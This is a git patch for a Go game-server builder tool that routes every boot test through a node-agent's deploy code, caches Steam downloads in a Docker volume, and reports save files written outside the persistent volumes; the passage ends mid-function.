From 04967a8a16bb8154647923f4104cf1c3b99449ec Mon Sep 17 00:00:00 2001 From: Greg Date: Mon, 26 Oct 2026 00:00:50 -0400 Subject: [PATCH 1/6] feat(builder): every boot through the node-agent, every lost file counted, Steam cache What a builder boot sees is now what a node does: - First boots (untouched, or -as-deployed with exactly a new server's settings) are deployed by the node-agent's BootTest in keep mode; the builder only watches the console and inspects what's left. The Go copy of the deploy (its own docker run, mounts and startup prefix) is gone. It had drifted: it gave the image's VOLUME folders their own volumes, which nodes don't, so saves there looked safe while every start loses them. - Files written outside /server and /data are counted whatever their type (it only counted config-like extensions, so .sav or .db saves went unseen), including the image's VOLUME folders; logs, pid and lock files and system folders are left out. - Boot tests ask the server to stay up holdSec (60 s, test.yaml can set it) after its ready line and to listen on every published container port (needs the node-agent's matching BootTest). - Steam apps are downloaded once per build into a gbr.cache volume and copied into each boot, so later boots only check the files (STEAM_CACHE=off). - RUNNER.md no longer suggests docker system prune, which deletes the gbr-boottest network when nothing is using it. Co-Authored-By: Claude Opus 5.5 --- AUTHORING.md | 2 + BUILDER.md | 14 +- RUNNER.md | 14 +- cmd/gbrgames/agentboot.go | 95 ++++++++++++ cmd/gbrgames/boottest.go | 80 ++++++---- cmd/gbrgames/boottest_test.go | 27 ++++ cmd/gbrgames/build.go | 49 ++---- cmd/gbrgames/firstboot.go | 271 ++++++++++++++++++++------------- cmd/gbrgames/firstboot_test.go | 37 +++++ schema/test.schema.json | 6 + 10 files changed, 424 insertions(+), 171 deletions(-) create mode 100644 cmd/gbrgames/agentboot.go diff --git a/AUTHORING.md b/AUTHORING.md index 05d8324..ea34765 100644 --- a/AUTHORING.md +++ b/AUTHORING.md @@ -90,6 +90,8 @@ Know this before writing anything: - `failPatterns`: lines that mean the server will never come up (e.g. an unaccepted EULA). - No reliable ready line: leave `readyPattern` out, and the boot test checks the server stays up (`settleSec` in `test.yaml`, default 120 s). +- After its ready line the server must stay up for `holdSec` (default 60 s), and then listen on every port in + `defaultPorts`. A server that binds other ports, or only `127.0.0.1`, fails: players can't reach it. ### `test.yaml` - `config`: only what the server can't start without in CI (accepting the EULA, for example). diff --git a/BUILDER.md b/BUILDER.md index 357ea9f..66295e0 100644 --- a/BUILDER.md +++ b/BUILDER.md @@ -19,8 +19,18 @@ progress / log / variants ◄─post── build: first boot → draft 2. The admin picks a variant in the panel. 3. **Build** (`gbrgames build -name N -variant @v.json`): first boot of the image untouched (`first-boot`), a draft by the model (`draft`, rules in `AUTHORING.md`), then the draft is deployed with the node-agent's - `BootTest`, the same check CI runs. Failures (crash, error lines, saves written outside `/server`) go - back to the model, three boots at most. + `BootTest`, the same check CI runs. A failed boot is investigated before the model changes anything + (see below). + + **Every** server the builder starts, first boots included, is deployed by the node-agent's own code, so + it runs exactly as on a node. A boot passes when the server reaches its ready line, stays up for + `holdSec` (60 s) after it, and listens on every port the template publishes. Files the server writes + anywhere but `/server` and `/data` (the image's own `VOLUME` folders included) are reported as lost: + nodes recreate the container on every start. + + Steam games are downloaded once per build into a cache volume (`gbr-steamcache-`, labelled + `gbr.cache`) and copied into each boot, so later boots only check the files. `STEAM_CACHE=off` turns + it off. 4. The worker pushes `games//` to a branch and opens a pull request as the bot account. A draft that validates but never booted still gets a PR, titled `WIP:`, with what's left listed. Nothing reaches players until a person merges it and enables the game. diff --git a/RUNNER.md b/RUNNER.md index 919a1b9..c7f19ac 100644 --- a/RUNNER.md +++ b/RUNNER.md @@ -51,5 +51,15 @@ the org or repo, and the workflow passes it through (see the `env:` of the boot- ## Housekeeping -Game images and SteamCMD downloads add up. A weekly `docker system prune -af --filter "until=168h"` -(cron or a systemd timer) keeps the disk in check; each test removes its own container and volume. +Game images and SteamCMD downloads add up; each test removes its own container and volume. Clean up +weekly (cron or a systemd timer) with: + +```bash +docker container prune -f +docker image prune -af --filter "until=168h" +docker volume prune -af --filter "label!=gbr.cache" +``` + +Not `docker system prune`: it also deletes the `gbr-boottest` network whenever no container is using it, +and boot tests then refuse to run until `systemctl restart gbr-boottest-network`. Volumes labelled +`gbr.cache` are the AI builder's Steam download cache. diff --git a/cmd/gbrgames/agentboot.go b/cmd/gbrgames/agentboot.go new file mode 100644 index 0000000..3e4dbff --- /dev/null +++ b/cmd/gbrgames/agentboot.go @@ -0,0 +1,95 @@ +package main + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "regexp" +) + +// Every server the builder starts, first boots included, is deployed by the node-agent's own code +// (BootTest), the same code that runs servers on nodes and in CI, so what the builder sees is what a +// node does. This file runs it and keeps the Steam download cache that makes repeated boots cheap. + +func agentImageFromEnv() string { + if img := os.Getenv("AGENT_IMAGE"); img != "" { + return img + } + return defaultAgentImage +} + +// runAgentBootTest deploys a payload with BootTest and returns its output; passed is its verdict. +func runAgentBootTest(payload map[string]any, agentImage string) (output string, passed bool, err error) { + container := fmt.Sprint(payload["containerName"]) + // A run that was killed (worker restarted mid-build) leaves its container and volume behind, and the + // next deploy under the same name would trip over them + runCmd("docker", "rm", "-f", "-v", container) + runCmd("docker", "volume", "rm", "-f", container+"-data") + if payload["installMethod"] == "STEAMCMD" { + if ic, ok := payload["installConfig"].(map[string]any); ok && ic["appId"] != nil { + seedSteamApp(fmt.Sprint(ic["appId"]), container+"-data") + } + } + raw, err := json.Marshal(payload) + if err != nil { + return "", false, err + } + cmd := exec.Command("docker", "run", "--rm", "-i", "-v", "/var/run/docker.sock:/var/run/docker.sock", + "--entrypoint", "java", agentImage, "-Dloader.main=com.gbreed.gbr.nodeagent.BootTest", "-cp", "app.jar", + "org.springframework.boot.loader.launch.PropertiesLauncher") + cmd.Stdin = bytes.NewReader(raw) + var out bytes.Buffer + cmd.Stdout = &teeWriter{&out} + cmd.Stderr = cmd.Stdout + if runErr := cmd.Run(); runErr != nil { + var exitErr *exec.ExitError + if !errors.As(runErr, &exitErr) { + return "", false, runErr + } + return out.String(), false, nil + } + return out.String(), true, nil +} + +// Steam apps whose cached install is up to date in this run (one build or first boot) +var steamCacheFresh = map[string]bool{} + +var numericAppID = regexp.MustCompile(`^\d+$`) + +// seedSteamApp fills a server volume from a cached SteamCMD install of the app, so a boot doesn't +// download the whole game again: the node-agent's own install then only checks the files. The cache is +// updated once per run. Without it (STEAM_CACHE=off, or the update failing) the agent downloads as usual. +func seedSteamApp(appID, volume string) { + if os.Getenv("STEAM_CACHE") == "off" || !numericAppID.MatchString(appID) { + return + } + cache := "gbr-steamcache-" + appID + if !steamCacheFresh[appID] { + fmt.Printf("[steam-cache] updating the cached install of Steam app %s\n", appID) + if out, err := runCmd("docker", "volume", "create", "--label", "gbr.cache=steam", cache); err != nil { + fmt.Printf("[steam-cache] %v: %s\n", err, out) + return + } + runCmd("docker", "run", "--rm", "-v", cache+":/server", "alpine", "chown", "-R", nodeUser, "/server") + // SteamCMD's first install on a fresh client sometimes fails ("Missing configuration") until it has + // logged in once; retried a few times + script := "s=/home/steam/steamcmd/steamcmd.sh; $s +login anonymous +quit >/dev/null; for i in 1 2 3; do " + + "$s +force_install_dir /server +login anonymous +app_update " + appID + " +quit && exit 0; sleep 15; done; exit 1" + cmd := exec.Command("docker", "run", "--rm", "--network", bootTestNetwork, "-v", cache+":/server", "cm2network/steamcmd", "bash", "-c", script) + cmd.Stdout, cmd.Stderr = os.Stdout, os.Stderr + if err := cmd.Run(); err != nil { + fmt.Printf("[steam-cache] update failed (%v); the boot downloads the app itself\n", err) + return + } + steamCacheFresh[appID] = true + } + runCmd("docker", "volume", "create", volume) + if out, err := runCmd("docker", "run", "--rm", "-v", cache+":/from:ro", "-v", volume+":/to", "alpine", "cp", "-a", "/from/.", "/to/"); err != nil { + fmt.Printf("[steam-cache] copying into %s failed (%v: %s); the boot downloads the app itself\n", volume, err, out) + return + } + fmt.Printf("[steam-cache] %s seeded from the cached install of app %s\n", volume, appID) +} diff --git a/cmd/gbrgames/boottest.go b/cmd/gbrgames/boottest.go index c53d658..bdd5526 100644 --- a/cmd/gbrgames/boottest.go +++ b/cmd/gbrgames/boottest.go @@ -35,21 +35,53 @@ func runBootTestPayload(args []string) error { fillBlank := fs.Bool("fill-blank-passwords", false, "also give blank password settings a throwaway value. Never for a "+ "boot test: a real server doesn't get one. Only the AI builder uses it, to find out whether an empty setting is "+ "why a draft fails") + keep := fs.Bool("keep", false, "leave the container and its volume after the test, for inspection") fs.Parse(args) if fs.NArg() != 1 { return errors.New("boottest-payload needs a game id") } - id := fs.Arg(0) - dir := filepath.Join(*gamesDir, id) - - g, err := loadMap(filepath.Join(dir, "game.yaml")) + payload, err := bootTestPayload(*gamesDir, fs.Arg(0), *fillBlank) + var missing *missingSecretError + if errors.As(err, &missing) { + fmt.Fprintln(os.Stderr, "skip: "+missing.Error()) + os.Exit(exitMissingSecret) + } if err != nil { return err } + if *keep { + payload["keepContainer"] = true + } + b, err := json.MarshalIndent(payload, "", " ") + if err != nil { + return err + } + if *out == "" { + _, err = os.Stdout.Write(b) + return err + } + return os.WriteFile(*out, b, 0o644) +} + +type missingSecretError struct{ game, secret, key string } + +func (e *missingSecretError) Error() string { + return fmt.Sprintf("%s needs secret %s for %s", e.game, e.secret, e.key) +} + +// bootTestPayload builds the DEPLOY_SERVER message the panel would send for a game, plus the boot-test +// settings BootTest reads: ready and fail patterns, timeouts, how long the server must stay up after it is +// ready, and the container ports it must then listen on. +func bootTestPayload(gamesDir, id string, fillBlank bool) (map[string]any, error) { + dir := filepath.Join(gamesDir, id) + g, err := loadMap(filepath.Join(dir, "game.yaml")) + if err != nil { + return nil, err + } test := map[string]any{} if _, err := os.Stat(filepath.Join(dir, "test.yaml")); err == nil { if test, err = loadMap(filepath.Join(dir, "test.yaml")); err != nil { - return err + return nil, err } } @@ -68,8 +100,7 @@ func runBootTestPayload(args []string) error { for key, name := range s { value, ok := os.LookupEnv(fmt.Sprint(name)) if !ok || value == "" { - fmt.Fprintf(os.Stderr, "skip: %s needs secret %s for %s\n", id, name, key) - os.Exit(exitMissingSecret) + return nil, &missingSecretError{game: id, secret: fmt.Sprint(name), key: key} } config[key] = value } @@ -79,7 +110,7 @@ func runBootTestPayload(args []string) error { // one: they passed CI and failed on the first real deploy. for key, p := range schemaProperties(g) { prop, _ := p.(map[string]any) - if prop["x-generate"] == nil && (!*fillBlank || !passwordKey.MatchString(key)) { + if prop["x-generate"] == nil && (!fillBlank || !passwordKey.MatchString(key)) { continue } // Only missing or empty text: ports, booleans and other values are never touched @@ -93,22 +124,26 @@ func runBootTestPayload(args []string) error { } } - timeout, settle := 900, 120 + timeout, settle, hold := 900, 120, 60 if g["installMethod"] == "STEAMCMD" { timeout = 2400 } - if v, ok := test["timeoutSec"].(json.Number); ok { - if n, err := v.Int64(); err == nil { - timeout = int(n) + for key, dst := range map[string]*int{"timeoutSec": &timeout, "settleSec": &settle, "holdSec": &hold} { + if v, ok := test[key].(json.Number); ok { + if n, err := v.Int64(); err == nil { + *dst = int(n) + } } } - if v, ok := test["settleSec"].(json.Number); ok { - if n, err := v.Int64(); err == nil { - settle = int(n) + // Once up, the server must listen on what nodes publish: the container side of every default port + expectPorts := []any{} + if ports, ok := g["defaultPorts"].([]any); ok { + for _, p := range ports { + expectPorts = append(expectPorts, fmt.Sprint(p)) } } - payload := map[string]any{ + return map[string]any{ "command": "DEPLOY_SERVER", "serverId": "boottest-" + id, "containerName": "boottest-" + id, @@ -130,16 +165,9 @@ func runBootTestPayload(args []string) error { "failPatterns": g["failPatterns"], "timeoutSec": timeout, "settleSec": settle, - } - b, err := json.MarshalIndent(payload, "", " ") - if err != nil { - return err - } - if *out == "" { - _, err = os.Stdout.Write(b) - return err - } - return os.WriteFile(*out, b, 0o644) + "holdSec": hold, + "expectPorts": expectPorts, + }, nil } // resolvePlaceholders stands in for what the panel fills per server; saved values have no owner here. diff --git a/cmd/gbrgames/boottest_test.go b/cmd/gbrgames/boottest_test.go index 18b938b..34693a3 100644 --- a/cmd/gbrgames/boottest_test.go +++ b/cmd/gbrgames/boottest_test.go @@ -2,6 +2,7 @@ package main import ( "encoding/json" + "errors" "os" "path/filepath" "strings" @@ -79,3 +80,29 @@ configSchema: t.Errorf("-fill-blank-passwords: ServerPassword not filled: %v", payload.GameConfig["ServerPassword"]) } } + +func TestBootTestPayloadAsksForPublishedPortsAndHold(t *testing.T) { + dir := t.TempDir() + game := filepath.Join(dir, "example") + os.MkdirAll(game, 0o755) + os.WriteFile(filepath.Join(game, "game.yaml"), []byte("id: example\nname: Example\ndefaultDockerImage: x\ndefaultPorts:\n - 30000/udp\n - 30001:30001/tcp\n"), 0o644) + os.WriteFile(filepath.Join(game, "test.yaml"), []byte("holdSec: 90\n"), 0o644) + p, err := bootTestPayload(dir, "example", false) + if err != nil { + t.Fatal(err) + } + ports, _ := p["expectPorts"].([]any) + if len(ports) != 2 || ports[0] != "30000/udp" || ports[1] != "30001:30001/tcp" { + t.Errorf("expectPorts %v", p["expectPorts"]) + } + if p["holdSec"] != 90 || p["settleSec"] != 120 { + t.Errorf("hold %v settle %v", p["holdSec"], p["settleSec"]) + } + + os.WriteFile(filepath.Join(game, "test.yaml"), []byte("secrets:\n OwnerId: EXAMPLE_OWNER\n"), 0o644) + _, err = bootTestPayload(dir, "example", false) + var missing *missingSecretError + if !errors.As(err, &missing) || missing.secret != "EXAMPLE_OWNER" { + t.Errorf("missing secret: %v", err) + } +} diff --git a/cmd/gbrgames/build.go b/cmd/gbrgames/build.go index b6267f6..e4a07d6 100644 --- a/cmd/gbrgames/build.go +++ b/cmd/gbrgames/build.go @@ -7,7 +7,6 @@ import ( "flag" "fmt" "os" - "os/exec" "path/filepath" "sort" "strings" @@ -298,46 +297,18 @@ func bootCheck(gamesDir, id, agentImage string, wantOutside bool) (problems, ver // CI. fillBlank also fills blank password-like settings, only to find out whether they are why a draft // fails. problems is set when the template can't be boot-tested at all. func agentBoot(gamesDir, id, agentImage string, fillBlank bool) (output string, passed bool, problems []string, err error) { - self, err := os.Executable() + payload, err := bootTestPayload(gamesDir, id, fillBlank) + var missing *missingSecretError + if errors.As(err, &missing) { + // The builder has no CI secrets: that's the template's problem to fix, not a reason to stop + return "", false, []string{"the boot test can't run: " + missing.Error() + ". Remove 'secrets' from " + + "test.yaml; boot tests run with exactly what a new server gets"}, nil + } if err != nil { return "", false, nil, err } - // A boot test that was killed (worker restarted mid-build) leaves its container and volume behind, - // and the next deploy under the same name would trip over them - runCmd("docker", "rm", "-f", "boottest-"+id) - runCmd("docker", "volume", "rm", "-f", "boottest-"+id+"-data") - args := []string{"boottest-payload", "-games", gamesDir, id} - if fillBlank { - args = []string{"boottest-payload", "-fill-blank-passwords", "-games", gamesDir, id} - } - payloadCmd := exec.Command(self, args...) - var stderr bytes.Buffer - payloadCmd.Stderr = &stderr - payload, err := payloadCmd.Output() - if err != nil { - var exitErr *exec.ExitError - if errors.As(err, &exitErr) && exitErr.ExitCode() == exitMissingSecret { - // The builder has no CI secrets: that's the template's problem to fix, not a reason to stop - return "", false, []string{"the boot test can't run: " + strings.TrimSpace(stderr.String()) + ". Remove 'secrets' from " + - "test.yaml; boot tests run with exactly what a new server gets"}, nil - } - return "", false, nil, fmt.Errorf("boottest-payload: %v: %s", err, strings.TrimSpace(stderr.String())) - } - cmd := exec.Command("docker", "run", "--rm", "-i", "-v", "/var/run/docker.sock:/var/run/docker.sock", - "--entrypoint", "java", agentImage, "-Dloader.main=com.gbreed.gbr.nodeagent.BootTest", "-cp", "app.jar", - "org.springframework.boot.loader.launch.PropertiesLauncher") - cmd.Stdin = bytes.NewReader(payload) - var out bytes.Buffer - cmd.Stdout = &teeWriter{&out} - cmd.Stderr = cmd.Stdout - if runErr := cmd.Run(); runErr != nil { - var exitErr *exec.ExitError - if !errors.As(runErr, &exitErr) { - return "", false, nil, runErr - } - return out.String(), false, nil, nil - } - return out.String(), true, nil, nil + output, passed, err = runAgentBootTest(payload, agentImage) + return output, passed, nil, err } // blankRequiredLooking lists the settings a new server gets empty that look like a server might need a @@ -372,7 +343,7 @@ func emptySettingsProblem(keys []string, verdict string) string { func firstBootGame(gamesDir, id string) (*bootReport, error) { outDir := filepath.Join("firstboot-out", id+"-draft") - if err := runFirstBoot([]string{"-games", gamesDir, "-game", id, "-out", outDir}); err != nil { + if err := runFirstBoot([]string{"-games", gamesDir, "-game", id, "-as-deployed", "-out", outDir}); err != nil { return nil, err } return readBootReport(filepath.Join(outDir, "report.json")) diff --git a/cmd/gbrgames/firstboot.go b/cmd/gbrgames/firstboot.go index fd37229..1b33b04 100644 --- a/cmd/gbrgames/firstboot.go +++ b/cmd/gbrgames/firstboot.go @@ -20,15 +20,11 @@ import ( "time" ) -// first-boot starts a game server once with none of a template's settings applied, and records what it -// does on its own: its output (to find the "ready" and error lines) and the files it creates (to learn -// the real config file, format and defaults). It mirrors how the node-agent runs servers: same volumes, -// user, SteamCMD install and startup prefix, but without a restart policy, so a crash shows as a crash. - -// Same prefix the node-agent puts in front of every startup command (DockerService) -const agentStartupPrefix = "mkdir -p ~/.steam/sdk64 /server/.steam/sdk64 2>/dev/null; " + - "[ -f /home/steam/steamcmd/linux64/steamclient.so ] && cp -f /home/steam/steamcmd/linux64/steamclient.so ~/.steam/sdk64/ 2>/dev/null; " + - "[ -f /server/linux64/steamclient.so ] && cp -f /server/linux64/steamclient.so ~/.steam/sdk64/ 2>/dev/null; cd /server && " +// first-boot starts a game server once with none of a template's settings applied (or, -as-deployed, +// with exactly the settings a new server gets), and records what it does on its own: its output (to find +// the "ready" and error lines) and the files it creates (to learn the real config file, format and +// defaults, and what would be lost on a restart). The node-agent's own deploy code starts it, so it runs +// exactly as on a node: volumes, user, limits, SteamCMD install and startup command. var ( ansi = regexp.MustCompile(`\x1b\[[0-9;?]*[A-Za-z]|\x1b\][^\a]*\a`) @@ -104,6 +100,8 @@ func runFirstBoot(args []string) error { quiet := fs.Duration("quiet", 2*time.Minute, "stop once the server has printed nothing for this long") outDir := fs.String("out", "", "where to write the report (default firstboot-out/)") keep := fs.Bool("keep", false, "keep the container and volumes for a closer look") + asDeployed := fs.Bool("as-deployed", false, "with -game: boot with the template's settings exactly as a new server gets "+ + "them (default: untouched, so the server writes its own defaults)") var envFlags multiFlag fs.Var(&envFlags, "env", "KEY=VALUE for the container (repeatable), e.g. EULA=TRUE") fs.Parse(args) @@ -138,7 +136,19 @@ func runFirstBoot(args []string) error { return err } - b := &booter{spec: spec, facts: facts, container: "firstboot-" + spec.Name, outDir: *outDir} + b := &booter{spec: spec, facts: facts, container: "firstboot-" + spec.Name, outDir: *outDir, agentImage: agentImageFromEnv()} + b.payload = untouchedPayload(spec) + if *asDeployed { + if *gameID == "" { + return errors.New("-as-deployed needs -game") + } + if b.payload, err = bootTestPayload(*gamesDir, *gameID, false); err != nil { + return err + } + } + if out, err := runCmd("docker", "pull", "-q", b.agentImage); err != nil { + return fmt.Errorf("docker pull %s: %v: %s", b.agentImage, err, out) + } if !*keep { defer b.cleanup() } @@ -221,11 +231,13 @@ func buildBootSpec(gamesDir, gameID, image, startup, steamApp string, memory int } type booter struct { - spec *bootSpec - facts *imageFacts - container string - outDir string - mounts map[string]string // mount path -> volume name + spec *bootSpec + facts *imageFacts + container string + outDir string + agentImage string + payload map[string]any // what the node-agent deploys + mounts map[string]string // mount path -> volume name mu sync.Mutex lines []logLine @@ -233,64 +245,56 @@ type booter struct { started time.Time } -func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) { - exec.Command("docker", "rm", "-f", b.container).Run() // leftovers from an interrupted run +// untouchedPayload deploys an image as a node would, but with none of a template's settings: only the +// install, the startup command and the -env values, so the server writes its own defaults. +func untouchedPayload(spec *bootSpec) map[string]any { + config := map[string]any{} + for k, v := range spec.Env { + config[k] = v + } + p := map[string]any{ + "command": "DEPLOY_SERVER", "dockerImage": spec.Image, "gameConfig": config, "ports": []any{}, + "installMethod": "NONE", "memoryLimitMb": spec.MemoryMb, "containerUser": spec.User, + "dockerNetwork": bootTestNetwork, "timeoutSec": 900, + } + if spec.Startup != "" { + p["startupCommand"] = spec.Startup + } + if spec.SteamAppID != "" { + p["installMethod"], p["installConfig"], p["timeoutSec"] = "STEAMCMD", map[string]any{"appId": spec.SteamAppID}, 2400 + } + return p +} - // Same layout as the node: one volume at /server and /data, plus a fresh one per declared VOLUME +func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) { + // Exactly what nodes mount: one volume at /server and /data. Anything else the server writes, the + // image's own VOLUME folders included, is gone when the node recreates the container on the next start data := b.container + "-data" b.mounts = map[string]string{"/server": data, "/data": data} - for i, v := range b.facts.Volumes { - if _, ok := b.mounts[v]; !ok { - b.mounts[v] = fmt.Sprintf("%s-v%d", b.container, i) - } - } - for _, vol := range uniqueValues(b.mounts) { - if err := docker("volume", "create", vol); err != nil { - return nil, err - } - if err := docker("run", "--rm", "-v", vol+":/v", "alpine", "chown", "-R", b.spec.User, "/v"); err != nil { - return nil, err - } - } - if b.spec.SteamAppID != "" { - fmt.Printf("[first-boot] installing Steam app %s\n", b.spec.SteamAppID) - // Like the node-agent: steamcmd's image runs as uid 1000, then the volume goes to the game's user - steam := "/home/steam/steamcmd/steamcmd.sh +login anonymous +quit && /home/steam/steamcmd/steamcmd.sh +force_install_dir /server +login anonymous +app_update " + - b.spec.SteamAppID + " validate +quit" - if err := docker("run", "--rm", "-v", data+":/server", "alpine", "chown", "-R", nodeUser, "/server"); err != nil { - return nil, err - } - cmd := exec.Command("docker", "run", "--rm", "--network", bootTestNetwork, "-v", data+":/server", "cm2network/steamcmd", "bash", "-c", steam) - cmd.Stdout, cmd.Stderr = os.Stdout, os.Stderr - if err := cmd.Run(); err != nil { - return nil, fmt.Errorf("steamcmd install of %s failed: %w", b.spec.SteamAppID, err) - } - if err := docker("run", "--rm", "-v", data+":/server", "alpine", "chown", "-R", b.spec.User, "/server"); err != nil { - return nil, err - } + // The node-agent deploys it (install, config, startup, user, limits) and leaves the container to us. + // It only has to get it running: watching it until it goes quiet is done here + p := map[string]any{} + for k, v := range b.payload { + p[k] = v } + p["containerName"], p["serverId"], p["keepContainer"] = b.container, b.container, true + p["settleSec"], p["holdSec"], p["expectPorts"] = 15, 0, []any{} + delete(p, "readyPattern") + delete(p, "failPatterns") + fmt.Printf("[first-boot] deploying %s as %v with the node-agent (memory %v MB)\n", b.spec.Image, displayUser(p["containerUser"]), p["memoryLimitMb"]) + output, _, err := runAgentBootTest(p, b.agentImage) + if err != nil { + return nil, err + } + created, err := time.Parse(time.RFC3339Nano, inspectField(b.container, "{{.Created}}")) + if err != nil { + return nil, fmt.Errorf("the node-agent could not deploy %s: %s", b.spec.Image, bootVerdict(output)) + } + b.started, b.lastAt = created, created - runArgs := []string{"run", "-d", "-t", "--init", "--name", b.container, "--user", b.spec.User, - "--security-opt", "no-new-privileges:true", "--pids-limit", "1024", "--network", bootTestNetwork, - "-m", fmt.Sprintf("%dm", b.spec.MemoryMb), "--memory-swap", fmt.Sprintf("%dm", b.spec.MemoryMb)} - for mount, vol := range b.mounts { - runArgs = append(runArgs, "-v", vol+":"+mount) - } - for _, k := range sortedKeysString(b.spec.Env) { - runArgs = append(runArgs, "-e", k+"="+b.spec.Env[k]) - } - runArgs = append(runArgs, b.spec.Image) - if b.spec.Startup != "" { - runArgs = append(runArgs, "bash", "-c", agentStartupPrefix+b.spec.Startup) - } - fmt.Printf("[first-boot] starting %s as %s (memory %d MB)\n", b.spec.Image, b.spec.User, b.spec.MemoryMb) - if out, err := exec.Command("docker", runArgs...).CombinedOutput(); err != nil { - return nil, fmt.Errorf("docker run: %v: %s", err, strings.TrimSpace(string(out))) - } - b.started, b.lastAt = time.Now(), time.Now() - - logs := exec.Command("docker", "logs", "-f", b.container) + // The whole console from the start, with Docker's timestamps + logs := exec.Command("docker", "logs", "-t", "-f", b.container) pr, pw := io.Pipe() logs.Stdout, logs.Stderr = pw, pw if err := logs.Start(); err != nil { @@ -301,27 +305,31 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) { sc := bufio.NewScanner(pr) sc.Buffer(make([]byte, 1024*1024), 1024*1024) for sc.Scan() { - b.addLine("console", sc.Text()) + b.addTimestamped(sc.Text()) } close(done) }() - report := &bootReport{Image: b.spec.Image, User: b.spec.User} + report := &bootReport{Image: b.spec.Image, User: displayUser(p["containerUser"])} minRun := time.Minute for { time.Sleep(2 * time.Second) elapsed := time.Since(b.started) running := inspectField(b.container, "{{.State.Running}}") == "true" + restarts, _ := strconv.Atoi(inspectField(b.container, "{{.RestartCount}}")) b.mu.Lock() silent, count := time.Since(b.lastAt), len(b.lines) b.mu.Unlock() switch { - case !running: + case !running || restarts > 0: code, _ := strconv.Atoi(inspectField(b.container, "{{.State.ExitCode}}")) report.ExitCode = &code report.Outcome = fmt.Sprintf("exited by itself with code %d after %.0fs", code, elapsed.Seconds()) + if restarts > 0 { + report.Outcome = fmt.Sprintf("crashed (exit code %d) and was restarted %d time(s) within %.0fs", code, restarts, elapsed.Seconds()) + } if inspectField(b.container, "{{.State.OOMKilled}}") == "true" { - report.Outcome += fmt.Sprintf(" (killed: over the %d MB memory limit)", b.spec.MemoryMb) + report.Outcome += fmt.Sprintf(" (killed: over the %v MB memory limit)", p["memoryLimitMb"]) } case elapsed >= minRun && count > 0 && silent >= quiet: report.Outcome = fmt.Sprintf("running and quiet for %.0fs after %.0fs; stopped gracefully", silent.Seconds(), elapsed.Seconds()) @@ -335,6 +343,7 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) { report.RanSeconds = time.Since(b.started).Seconds() // Many servers only write their settings when they shut down exec.Command("docker", "stop", "-t", "60", b.container).Run() + logs.Process.Kill() pw.Close() <-done @@ -354,17 +363,33 @@ func (b *booter) run(maxRun, quiet time.Duration) (*bootReport, error) { return report, nil } -func (b *booter) addLine(source, raw string) { +// addTimestamped records one line of `docker logs -t`: "2026-10-26T01:11:52.123456789Z text". +func (b *booter) addTimestamped(raw string) { + at := time.Now() + if stamp, rest, ok := strings.Cut(raw, " "); ok { + if t, err := time.Parse(time.RFC3339Nano, stamp); err == nil { + at, raw = t, rest + } + } text := strings.TrimRight(ansi.ReplaceAllString(raw, ""), "\r \t") if text == "" { return } b.mu.Lock() - b.lines = append(b.lines, logLine{At: time.Since(b.started).Round(100 * time.Millisecond).Seconds(), Source: source, Text: text}) - b.lastAt = time.Now() + b.lines = append(b.lines, logLine{At: at.Sub(b.started).Round(100 * time.Millisecond).Seconds(), Source: "console", Text: text}) + if at.After(b.lastAt) { + b.lastAt = at + } b.mu.Unlock() } +func displayUser(u any) string { + if s, ok := u.(string); ok && s != "" { + return s + } + return nodeUser +} + func (b *booter) console() []logLine { b.mu.Lock() defer b.mu.Unlock() @@ -487,39 +512,88 @@ func (b *booter) fileLines(report *bootReport) []logLine { return out } -// containerChanges lists files the server wrote outside its volumes: settings there are lost when the -// node recreates the container, which a template needs to know about. +// System folders and files that aren't the game's state: what's written there doesn't matter when lost +var ( + systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt"} + transientExt = map[string]bool{".log": true, ".pid": true, ".lock": true, ".tmp": true, ".swp": true} +) + +// containerChanges lists the files the server wrote anywhere but /server and /data. All of them are +// lost when the node recreates the container (every start): in the container's own filesystem, and in +// the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Logs, lock and pid +// files are left out; saves of any kind are not. func (b *booter) containerChanges() []string { - out, err := exec.Command("docker", "diff", b.container).Output() - if err != nil { - return nil - } var changes []string - for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { - kind, p, ok := strings.Cut(line, " ") - if !ok || kind == "D" { + if out, err := exec.Command("docker", "diff", b.container).Output(); err == nil { + changes = append(changes, outsideFiles(string(out), b.mounts)...) + } + // The image's VOLUME folders: Docker mounted anonymous volumes there, which docker diff doesn't show + mounts, _ := exec.Command("docker", "inspect", "-f", `{{range .Mounts}}{{if eq .Type "volume"}}{{.Name}}|{{.Destination}}{{"\n"}}{{end}}{{end}}`, b.container).Output() + for _, line := range strings.Split(strings.TrimSpace(string(mounts)), "\n") { + vol, dest, ok := strings.Cut(line, "|") + if !ok || b.mounts[dest] != "" { continue } - skip := false - for _, prefix := range []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/var/log", "/var/cache", "/var/tmp"} { - if p == prefix || strings.HasPrefix(p, prefix+"/") { - skip = true - } + files, err := exec.Command("docker", "run", "--rm", "-v", vol+":/v:ro", "alpine", "find", "/v", "-type", "f").Output() + if err != nil { + continue } - for mount := range b.mounts { - if p == mount || strings.HasPrefix(p, mount+"/") { - skip = true + n := 0 + for _, f := range strings.Split(strings.TrimSpace(string(files)), "\n") { + rel := strings.TrimPrefix(f, "/v/") + if f == "" || transientExt[strings.ToLower(path.Ext(rel))] { + continue } - } - if !skip && configExt[strings.ToLower(path.Ext(p))] { - changes = append(changes, kind+" "+p) + if n++; n > 200 { + break + } + changes = append(changes, "A "+path.Join(dest, rel)) } } return changes } +// outsideFiles picks the files out of `docker diff` output: added or changed leaves (docker diff lists +// folders too) outside the mounted volumes and system folders, without transient files. +func outsideFiles(diff string, mounts map[string]string) []string { + var paths []string + kinds := map[string]string{} + for _, line := range strings.Split(strings.TrimSpace(diff), "\n") { + kind, p, ok := strings.Cut(strings.TrimSpace(line), " ") + if !ok || kind == "D" || p == "" { + continue + } + skip := transientExt[strings.ToLower(path.Ext(p))] + for _, prefix := range systemPrefixes { + if p == prefix || strings.HasPrefix(p, prefix+"/") { + skip = true + } + } + for mount := range mounts { + if p == mount || strings.HasPrefix(p, mount+"/") { + skip = true + } + } + if !skip { + paths = append(paths, p) + kinds[p] = kind + } + } + sort.Strings(paths) + var leaves []string 